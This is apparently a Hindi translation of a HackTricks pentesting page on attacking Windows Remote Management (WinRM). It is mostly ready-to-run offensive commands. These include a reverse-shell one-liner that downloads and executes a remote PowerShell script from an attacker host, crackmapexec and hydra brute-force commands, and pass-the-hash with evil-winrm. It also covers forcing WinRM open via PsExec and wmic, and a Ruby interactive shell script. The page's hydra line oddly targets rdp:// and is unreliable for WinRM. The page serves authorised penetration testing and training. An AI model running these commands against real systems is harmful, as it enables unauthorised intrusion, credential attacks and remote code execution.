5985,5986 - Pentesting WinRM
Reading time: 10 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
WinRM
Windows Remote Management (WinRM) को Microsoft द्वारा एक प्रोटोकॉल के रूप में उजागर किया गया है जो Windows सिस्टम का दूरस्थ प्रबंधन HTTP(S) के माध्यम से सक्षम करता है, इस प्रक्रिया में SOAP का उपयोग करते हुए। यह मूल रूप से WMI द्वारा संचालित है, जो WMI संचालन के लिए एक HTTP-आधारित इंटरफ़ेस के रूप में प्रस्तुत होता है।
किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सीधी दूरस्थ प्रशासन की अनुमति देती है, जैसे कि SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है:
- 5985/tcp (HTTP)
- 5986/tcp (HTTPS)
उपरोक्त सूची में से एक खुला पोर्ट यह संकेत देता है कि WinRM सेटअप किया गया है, जिससे दूरस्थ सत्र शुरू करने के प्रयासों की अनुमति मिलती है।
WinRM सत्र शुरू करना
PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का Enable-PSRemoting
cmdlet काम में आता है, जो कंप्यूटर को दूरस्थ PowerShell कमांड स्वीकार करने के लिए सेट करता है। ऊंचे PowerShell एक्सेस के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित कमांड निष्पादित किए जा सकते हैं:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
यह दृष्टिकोण trustedhosts
कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ने से संबंधित है, यह एक कदम है जिसे इसके प्रभावों के कारण सावधानीपूर्वक विचार करने की आवश्यकता है। यह भी नोट किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
इसके अलावा, WinRM को wmic
कमांड का उपयोग करके दूरस्थ रूप से सक्रिय किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है:
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
यह विधि दूरस्थ रूप से WinRM की सेटअप की अनुमति देती है, जो दूर से Windows मशीनों का प्रबंधन करने में लचीलापन बढ़ाती है।
परीक्षण करें कि क्या कॉन्फ़िगर किया गया है
अपने हमले की मशीन की सेटअप की पुष्टि करने के लिए, Test-WSMan
कमांड का उपयोग किया जाता है यह जांचने के लिए कि क्या लक्ष्य ने WinRM को सही ढंग से कॉन्फ़िगर किया है। इस कमांड को निष्पादित करके, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की अपेक्षा करनी चाहिए, जो सफल कॉन्फ़िगरेशन को इंगित करता है। नीचे एक कॉन्फ़िगर किए गए लक्ष्य और एक असंरचित लक्ष्य के लिए अपेक्षित आउटपुट को प्रदर्शित करने वाले उदाहरण दिए गए हैं:
- एक लक्ष्य जो सही ढंग से कॉन्फ़िगर किया गया है, उसका आउटपुट इस तरह दिखेगा:
Test-WSMan <target-ip>
प्रतिक्रिया में प्रोटोकॉल संस्करण और wsmid के बारे में जानकारी होनी चाहिए, जो यह दर्शाता है कि WinRM सही ढंग से सेटअप किया गया है।
- इसके विपरीत, एक लक्ष्य जो WinRM के लिए कॉन्फ़िगर नहीं किया गया है, उसके लिए कोई ऐसा विस्तृत जानकारी नहीं मिलेगी, जो उचित WinRM सेटअप की अनुपस्थिति को उजागर करता है।
एक कमांड निष्पादित करें
लक्षित मशीन पर ipconfig
को दूरस्थ रूप से निष्पादित करने और इसके आउटपुट को देखने के लिए करें:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
आप अपने वर्तमान PS कंसोल का कमांड भी Invoke-Command के माध्यम से चला सकते हैं। मान लीजिए कि आपके पास स्थानीय रूप से एक फ़ंक्शन है जिसे enumeration कहा जाता है और आप इसे एक दूरस्थ कंप्यूटर पर चलाना चाहते हैं, तो आप कर सकते हैं:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
एक स्क्रिप्ट चलाएँ
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
रिवर्स-शेल प्राप्त करें
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
एक PS सत्र प्राप्त करें
इंटरएक्टिव PowerShell शेल प्राप्त करने के लिए Enter-PSSession
का उपयोग करें:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
सत्र एक नए प्रोसेस (wsmprovhost) में "पीड़ित" के अंदर चलेगा
WinRM को खोलने के लिए मजबूर करना
PS Remoting और WinRM का उपयोग करने के लिए लेकिन कंप्यूटर कॉन्फ़िगर नहीं है, आप इसे सक्षम कर सकते हैं:
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Saving and Restoring sessions
यह काम नहीं करेगा यदि भाषा दूरस्थ कंप्यूटर में सीमित है।
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
इस सत्र के अंदर आप Invoke-Command का उपयोग करके PS स्क्रिप्ट लोड कर सकते हैं।
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Errors
यदि आप निम्नलिखित त्रुटि पाते हैं:
enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.
क्लाइंट पर प्रयास करें (जानकारी यहां):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
WinRM कनेक्शन लिनक्स में
ब्रूट फोर्स
सावधान रहें, winrm का ब्रूट-फोर्सिंग उपयोगकर्ताओं को ब्लॉक कर सकता है।
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
evil-winrm का उपयोग करना
gem install evil-winrm
दस्तावेज़ीकरण को इसके गिटहब पर पढ़ें: https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
evil-winrm का उपयोग करके IPv6 पते से कनेक्ट करने के लिए /etc/hosts के अंदर एक प्रविष्टि बनाएं, IPv6 पते के लिए एक डोमेन नाम सेट करें और उस डोमेन से कनेक्ट करें।
evil-winrm के साथ हैश पास करें
evil-winrm -u <username> -H <Hash> -i <IP>
एक PS-docker मशीन का उपयोग करना
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
एक रूबी स्क्रिप्ट का उपयोग करना
कोड यहाँ से निकाला गया: https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
References
HackTricks Automatic Commands
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।